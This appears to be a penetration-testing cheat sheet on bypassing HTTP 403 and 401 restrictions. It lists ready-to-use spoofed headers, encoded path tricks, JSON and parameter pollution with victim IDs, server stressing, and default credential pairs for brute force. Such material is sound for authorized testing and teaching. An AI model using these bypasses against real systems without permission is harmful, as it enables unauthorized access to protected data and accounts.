403 & 401 Bypasses

HTTP Verbs/Methods Fuzzing

Try using different verbs to access the file: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

• Check the response headers, maybe some information can be given. For example, a 200 response to HEAD with Content-Length: 55 means that the HEAD verb can access the info. But you still need to find a way to exfiltrate that info.

• Using a HTTP header like X-HTTP-Method-Override: PUT can overwrite the verb used.

HTTP Headers Fuzzing

• Change Host header to some arbitrary value (that worked here)

• Try to use other User Agents to access the resource.

• Fuzz HTTP Headers: Try using HTTP Proxy Headers, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  If the path is protected you can try to bypass the path protection using these other headers:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

• If the page is behind a proxy, maybe it's the proxy the one preventing you you to access the private information. Try abusing HTTP Request Smuggling or hop-by-hop headers.

• Fuzz special HTTP headers looking for different response.

  • Fuzz special HTTP headers while fuzzing HTTP Methods.

Path Fuzzing

If /path is blocked:

• Try using /%2e/path (if the access is blocked by a proxy, this could bypass the protection). Try also /%252e/path (double URL encode)

• Try Unicode bypass: /%ef%bc%8fpath (The URL encoded chars are like "/") so when encoded back it will be //path and maybe you will have already bypassed the /path name check

• Other path bypasses:

  • site.com/secret –> HTTP 403 Forbidden

  • site.com/SECRET –> HTTP 200 OK

  • site.com/secret/ –> HTTP 200 OK

  • site.com/secret/. –> HTTP 200 OK

  • site.com//secret// –> HTTP 200 OK

  • site.com/./secret/.. –> HTTP 200 OK

  • site.com/;/secret –> HTTP 200 OK

  • site.com/.;/secret –> HTTP 200 OK

  • site.com//;//secret –> HTTP 200 OK

  • site.com/secret.json –> HTTP 200 OK (ruby)

  • Use all this list in the following situations:

    • /FUZZsecret

    • /FUZZ/secret

    • /secretFUZZ

• Other API bypasses:

  • /v3/users_data/1234 --> 403 Forbidden

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 Unauthriozied

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 Unauthriozied

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Other Bypasses

• Try to stress the server sending common GET requests (It worked for this guy wit Facebook).
• Change the protocol: from http to https, or for https to http

• Go to https://archive.org/web/ and check if in the past that file was worldwide accessible.

Brute Force

• Guess the password: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?

• Brute force: Try basic, digest and NTLM auth.

  Common creds

  admin    admin
  admin    password
  admin    1234
  admin    admin1234
  admin    123456
  root     toor
  test     test
  guest    guest